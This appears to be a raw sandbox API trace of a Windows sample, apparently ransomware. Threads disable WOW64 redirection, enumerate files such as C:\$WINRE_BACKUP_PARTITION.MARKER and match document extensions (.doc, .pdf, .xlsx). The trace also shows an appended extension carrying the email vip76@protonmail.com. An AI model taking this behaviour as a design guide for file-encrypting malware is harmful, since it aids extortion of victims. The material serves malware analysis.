	[0164.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x669770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0164.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x669770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0164.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x669770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0164.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x669770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0164.819] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x672c60
	[0164.819] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672c60, Size=0x20) returned 0x64d838
	[0164.819] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x672c60
	[0164.819] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672c60, Size=0x20) returned 0x64d900
	[0164.819] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0164.820] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0164.820] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff7c | out: OldValue=0x2ecff7c*=0x0) returned 1
	[0164.820] lstrlenW (lpString="kernel32.dll") returned 12
	[0164.820] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0164.820] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0164.820] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d900 | out: hHeap=0x610000) returned 1
	[0164.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x69a980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0164.820] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0165.062] GetTickCount () returned 0x113cd78
	[0165.062] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0165.284] GetTickCount () returned 0x113ce52
	[0165.284] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0165.476] GetTickCount () returned 0x113cf0e
	[0165.476] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0165.911] GetTickCount () returned 0x113d0c3
	[0165.911] GetTickCount () returned 0x113d0c3
	[0165.911] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0166.297] GetTickCount () returned 0x113d24a
	[0166.297] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0166.574] GetTickCount () returned 0x113d354
	[0166.574] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0166.947] GetTickCount () returned 0x113d4cb
	[0166.947] GetTickCount () returned 0x113d4cb
	[0166.947] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0167.306] GetTickCount () returned 0x113d632
	[0167.306] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0167.521] GetTickCount () returned 0x113d71c
	[0167.521] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0167.776] GetTickCount () returned 0x113d816
	[0167.776] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0168.096] GetTickCount () returned 0x113d94f
	[0168.096] GetTickCount () returned 0x113d94f
	[0168.096] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0168.498] GetTickCount () returned 0x113dae5
	[0168.498] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0168.741] GetTickCount () returned 0x113dbcf
	[0168.741] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0168.958] GetTickCount () returned 0x113dcaa
	[0168.958] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0169.317] GetTickCount () returned 0x113de12
	[0169.317] GetTickCount () returned 0x113de12
	[0169.317] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0169.675] GetTickCount () returned 0x113df79
	[0169.675] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0170.026] GetTickCount () returned 0x113e0e0
	[0170.026] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0170.353] GetTickCount () returned 0x113e228
	[0170.353] GetTickCount () returned 0x113e228
	[0170.353] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0171.114] GetTickCount () returned 0x113e516
	[0171.114] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0171.493] GetTickCount () returned 0x113e69d
	[0171.493] GetTickCount () returned 0x113e69d
	[0171.493] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0171.760] GetTickCount () returned 0x113e7a7
	[0171.760] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0172.233] GetTickCount () returned 0x113e97b
	[0172.258] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0172.739] GetTickCount () returned 0x113eb6f
	[0172.739] GetTickCount () returned 0x113eb6f
	[0172.739] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0173.074] GetTickCount () returned 0x113ecb8
	[0173.074] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0173.216] GetTickCount () returned 0x113ed44
	[0173.216] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0173.506] GetTickCount () returned 0x113ee6d
	[0173.506] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0173.708] GetTickCount () returned 0x113ef38
	[0173.708] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0174.004] GetTickCount () returned 0x113f061
	[0174.004] GetTickCount () returned 0x113f061
	[0174.004] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0174.189] GetTickCount () returned 0x113f11d
	[0174.189] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0174.418] GetTickCount () returned 0x113f1f7
	[0174.418] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0174.571] GetTickCount () returned 0x113f294
	[0174.571] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0174.787] GetTickCount () returned 0x113f36e
	[0174.787] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0175.048] GetTickCount () returned 0x113f478
	[0175.048] GetTickCount () returned 0x113f478
	[0175.048] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0175.251] GetTickCount () returned 0x113f543
	[0175.251] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0175.406] GetTickCount () returned 0x113f5df
	[0175.406] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0175.671] GetTickCount () returned 0x113f6e9
	[0175.671] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0175.876] GetTickCount () returned 0x113f7b4
	[0175.876] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0176.273] GetTickCount () returned 0x113f93b
	[0176.273] GetTickCount () returned 0x113f93b
	[0176.273] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0176.436] GetTickCount () returned 0x113f9e7
	[0176.436] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0176.803] GetTickCount () returned 0x113fb4e
	[0176.803] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0177.068] GetTickCount () returned 0x113fc58
	[0177.068] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0177.270] GetTickCount () returned 0x113fd23
	[0177.270] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0177.625] GetTickCount () returned 0x113fe7a
	[0177.625] GetTickCount () returned 0x113fe7a
	[0177.625] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0177.932] GetTickCount () returned 0x113ffb3
	[0177.932] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0178.340] GetTickCount () returned 0x1140159
	[0178.340] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0178.779] GetTickCount () returned 0x114030e
	[0178.779] GetTickCount () returned 0x114030e
	[0178.779] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0179.075] GetTickCount () returned 0x1140437
	[0179.075] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0179.204] GetTickCount () returned 0x11404b4
	[0179.204] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0179.348] GetTickCount () returned 0x1140541
	[0179.348] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0179.539] GetTickCount () returned 0x11405fc
	[0179.540] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0179.846] GetTickCount () returned 0x1140735
	[0179.846] GetTickCount () returned 0x1140735
	[0179.846] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0180.152] GetTickCount () returned 0x114086d
	[0180.152] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0180.578] GetTickCount () returned 0x1140a13
	[0180.578] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0181.155] GetTickCount () returned 0x1140c55
	[0181.155] GetTickCount () returned 0x1140c55
	[0181.155] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0181.593] GetTickCount () returned 0x1140e0b
	[0181.593] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0182.198] GetTickCount () returned 0x114105d
	[0182.198] GetTickCount () returned 0x114105d
	[0182.198] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0183.014] GetTickCount () returned 0x1141389
	[0183.014] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0183.533] GetTickCount () returned 0x114159c
	[0183.533] GetTickCount () returned 0x114159c
	[0183.533] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0184.084] GetTickCount () returned 0x11417cf
	[0184.084] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0184.469] GetTickCount () returned 0x1141946
	[0184.469] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0185.387] GetTickCount () returned 0x1141ce0
	[0185.387] GetTickCount () returned 0x1141ce0
	[0185.387] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0185.800] GetTickCount () returned 0x1141e76
	[0185.800] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0186.773] GetTickCount () returned 0x114224e
	[0186.773] GetTickCount () returned 0x114224e
	[0186.773] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0187.169] GetTickCount () returned 0x11423d5
	[0187.169] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0187.362] GetTickCount () returned 0x1142490
	[0187.362] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0187.690] GetTickCount () returned 0x11425d9
	[0187.690] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0187.931] GetTickCount () returned 0x11426d3
	[0187.931] GetTickCount () returned 0x11426d3
	[0187.931] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0188.051] GetTickCount () returned 0x1142750
	[0188.051] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0188.424] GetTickCount () returned 0x11428b7
	[0188.424] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0188.828] GetTickCount () returned 0x1142a4d
	[0188.828] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0189.198] GetTickCount () returned 0x1142bc4
	[0189.198] GetTickCount () returned 0x1142bc4
	[0189.198] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0189.473] GetTickCount () returned 0x1142cdd
	[0189.473] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0189.707] GetTickCount () returned 0x1142dc8
	[0189.707] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0189.873] GetTickCount () returned 0x1142e64
	[0189.873] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0190.171] GetTickCount () returned 0x1142f8d
	[0190.171] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0190.526] GetTickCount () returned 0x11430f4
	[0190.526] GetTickCount () returned 0x11430f4
	[0190.526] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0190.702] GetTickCount () returned 0x11431a0
	[0190.702] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0190.991] GetTickCount () returned 0x11432c9
	[0190.991] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0191.177] GetTickCount () returned 0x1143385
	[0191.177] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0191.331] GetTickCount () returned 0x1143411
	[0191.331] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0191.443] GetTickCount () returned 0x114348e
	[0191.443] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0191.945] GetTickCount () returned 0x1143682
	[0191.945] GetTickCount () returned 0x1143682
	[0191.945] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0192.402] GetTickCount () returned 0x1143847
	[0192.402] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0192.811] GetTickCount () returned 0x11439de
	[0192.811] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0193.110] GetTickCount () returned 0x1143b06
	[0193.110] GetTickCount () returned 0x1143b06
	[0193.110] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0193.400] GetTickCount () returned 0x1143c2f
	[0193.400] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0193.733] GetTickCount () returned 0x1143d77
	[0193.733] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0194.206] GetTickCount () returned 0x1143f4c
	[0194.206] GetTickCount () returned 0x1143f4c
	[0194.206] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0194.640] GetTickCount () returned 0x1144102
	[0194.640] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0194.954] GetTickCount () returned 0x114423a
	[0194.954] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0195.186] GetTickCount () returned 0x1144325
	[0195.186] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0195.333] GetTickCount () returned 0x11443c1
	[0195.333] GetTickCount () returned 0x11443c1
	[0195.333] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0195.497] GetTickCount () returned 0x114445d
	[0195.497] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0195.807] GetTickCount () returned 0x1144596
	[0195.807] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0196.047] GetTickCount () returned 0x1144680
	[0196.047] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0196.282] GetTickCount () returned 0x114476a
	[0196.282] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0196.445] GetTickCount () returned 0x1144816
	[0196.445] GetTickCount () returned 0x1144816
	[0196.445] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0196.790] GetTickCount () returned 0x114496e
	[0196.790] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0197.222] GetTickCount () returned 0x1144b14
	[0197.222] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0197.638] GetTickCount () returned 0x1144cba
	[0197.638] GetTickCount () returned 0x1144cba
	[0197.638] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0197.848] GetTickCount () returned 0x1144d85
	[0197.848] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0198.265] GetTickCount () returned 0x1144f1b
	[0198.265] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0198.566] GetTickCount () returned 0x1145054
	[0198.566] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0198.942] GetTickCount () returned 0x11451cb
	[0198.942] GetTickCount () returned 0x11451cb
	[0198.942] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0199.207] GetTickCount () returned 0x11452d4
	[0199.207] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0199.568] GetTickCount () returned 0x114543c
	[0199.568] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0199.709] GetTickCount () returned 0x11454c8
	[0199.709] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0199.966] GetTickCount () returned 0x11455d2
	[0199.966] GetTickCount () returned 0x11455d2
	[0199.966] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0200.285] GetTickCount () returned 0x114570a
	[0200.285] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0200.417] GetTickCount () returned 0x1145797
	[0200.417] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0200.678] GetTickCount () returned 0x1145891
	[0200.678] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0201.179] GetTickCount () returned 0x1145a85
	[0201.179] GetTickCount () returned 0x1145a85
	[0201.179] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0201.469] GetTickCount () returned 0x1145bae
	[0201.470] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0201.825] GetTickCount () returned 0x1145d15
	[0201.825] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0202.306] GetTickCount () returned 0x1145efa
	[0202.306] GetTickCount () returned 0x1145efa
	[0202.306] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0202.590] GetTickCount () returned 0x1146013
	[0202.590] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0203.487] GetTickCount () returned 0x114638d
	[0203.487] GetTickCount () returned 0x114638d
	[0203.487] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0203.726] GetTickCount () returned 0x1146478
	[0203.726] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0203.912] GetTickCount () returned 0x1146533
	[0203.912] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0204.135] GetTickCount () returned 0x114660e
	[0204.136] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x102
	[0204.563] GetTickCount () returned 0x11467c4
	[0204.563] GetTickCount () returned 0x11467c4
	[0204.563] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x64) returned 0x0
	[0204.746] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2ecff5c*=0x2d4, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0205.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x57f3020 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbbf8 | out: hHeap=0x610000) returned 1
	[0205.054] lstrlenW (lpString=".html") returned 5
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672c00 | out: hHeap=0x610000) returned 1
	[0205.054] lstrlenW (lpString=".[vip76@protonmail.com]") returned 23
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x670040 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbc88 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6724e0 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672510 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672540 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6725e8 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672558 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672420 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbc48 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672678 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672690 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672ac8 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd18 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbc58 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672db0 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbdc8 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672d80 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbbe8 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672b28 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d6d0 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d748 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x628980 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62ab60 | out: hHeap=0x610000) returned 1
	[0205.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x69a980 | out: hHeap=0x610000) returned 1
	[0205.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x669770 | out: hHeap=0x610000) returned 1
	[0205.056] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441478
	[0205.056] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441478, Size=0x20) returned 0x668560
	[0205.056] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44415e0
	[0205.056] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44415e0, Size=0x20) returned 0x6685b0
	[0205.056] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.056] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.056] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff7c | out: OldValue=0x2ecff7c*=0x1) returned 1
	[0205.056] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6685b0 | out: hHeap=0x610000) returned 1
	[0205.056] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668560 | out: hHeap=0x610000) returned 1

Thread:
	id = 42
	os_tid = 0xdb8

	[0165.106] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x6bc7c8
	[0165.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x6cc7d0
	[0165.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6730f8
	[0165.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbd28
	[0165.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6730e0
	[0165.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x3b56020
	[0165.110] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673200
	[0165.110] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673200, Size=0x20) returned 0x64d838
	[0165.110] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.110] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.111] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.111] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.111] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x0) returned 1
	[0165.111] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.111] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.111] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.111] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.111] Sleep (dwMilliseconds=0x64) 
	[0165.284] lstrcmpiW (lpString1=".MARKER", lpString2=".html") returned 1
	[0165.284] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0165.284] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0165.294] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=0) returned 1
	[0165.294] CloseHandle (hObject=0x33c) returned 1
	[0165.294] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.294] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.294] lstrlenW (lpString=".doc") returned 4
	[0165.294] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0165.294] lstrlenW (lpString=".docx") returned 5
	[0165.294] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0165.294] lstrlenW (lpString=".pdf") returned 4
	[0165.294] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0165.294] lstrlenW (lpString=".xls") returned 4
	[0165.294] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0165.294] lstrlenW (lpString=".xlsx") returned 5
